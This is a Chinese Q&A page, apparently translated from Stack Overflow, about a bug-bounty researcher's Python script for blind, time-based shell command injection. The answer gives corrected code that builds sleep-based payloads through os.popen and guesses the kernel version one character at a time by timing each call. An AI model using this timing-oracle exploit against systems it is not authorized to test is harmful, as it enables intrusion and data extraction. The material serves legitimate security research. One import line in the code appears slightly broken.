首页 > 解决方案 > 在 Python 中生成字符串时,如何将字符串注入 shell 脚本?

问题描述

我有一个用于错误赏金计划的脚本,并且正在运行盲代码/命令注入。根据用户 ID 布尔比较,我已经让应用程序休眠了 60 秒,所以我知道它就在那里。

我现在要做的是运行 shell 命令,将它们设置为 shell 变量,并按字符、真或假盲目评估每个字符。

我遇到的问题是我设置的变量没有被主机拾取。我目前正在我的本地机器上对此进行测试,Kali.

例如,当我打印命令的输出时,我可以看到$char而不是 shell 变量char

1: kernel_version=$(uname -r); 
2: char=$(echo $kernel_version | head -c 1 | tail -c 1); 
3: if [[ $char == M ]]; then sleep 60 ; exit; fi

如何更正以下代码,以便正确设置和拾取变量?

def bash_command(self, char, position):
        cmd1 = "kernel_version=$(uname -r); "
        cmd2 = f"char=$(echo $kernel_version | head -c {position} | tail -c 1); "

        op = '==' if char in self.letters + self.numbers else '-eq'

        cmd3 = f"if [[ $char {op} {char} ]]; then sleep 60 ; exit; fi"

        print("1: " + cmd1)
        print("2: " + cmd2)
        print("3: " + cmd3)

        return cmd1 + cmd2 + cmd3

完整代码:

https://raw.githubusercontent.com/richardcurteis/BugBountyPrograms/master/qc_container_escape.py

标签: python-3.xbash

解决方案


总结一下这个问题:您有一个沙盒转义,可让您通过调用 shellos.popen()并确定调用所花费的时间(但不是返回值),并且您希望/proc/version通过猜测和检查来提取。

原始代码中最直接的错误是它依赖于仅 bash 的语法,而os.popen()uses /bin/sh,不能保证支持相同的语法。

另一件事……作为一种实践(尤其是作为安全研究人员!)非常值得怀疑的是通过字符串连接生成代码而没有任何显式转义。来吧——作为一个行业,我们可以做得更好。os.popen()如果您无法设置环境变量,即使是一个相当有限的通道,也可以使用它shlex.quote()来安全地设置值,并将正在执行的程序与其之前的进程设置分开。

shell_cmd = '''
position=$1
test_char=$2
kernel_version=$(uname -r)
found_char=$(printf '%s\n' "$kernel_version" | head -c "$position" | tail -c 1)
[ "$test_char" = "$found_char" ] && sleep 2
'''

import os, shlex, popen, time

def run_with_args(script, args):
    args_str = ' '.join([shlex.quote(str(arg)) for arg in args])
    set_args_cmd = 'set -- ' + args_str + ';'
    # without read(), we don't wait for execution to finish, and can't see timing
    os.popen(set_args_cmd + script).read()

def check_char(char, pos):
    start_time = time.time()
    run_with_args(shell_cmd, [pos+1, char]) # use zero-based offsets like sane people
    end_time = time.time()
    return end_time - start_time > 1

...此后,在具有 5.0 内核的系统上,check_char('5', 0)将返回 True,但check_char('4', 0)将返回 False。

(将时序用作通道假定您正在克服一些对策,这些对策会阻止您从os.popen()返回的 FIFO 中简单地读取数据;当然,如果您可以这样做,那么您应该这样做!)


推荐阅读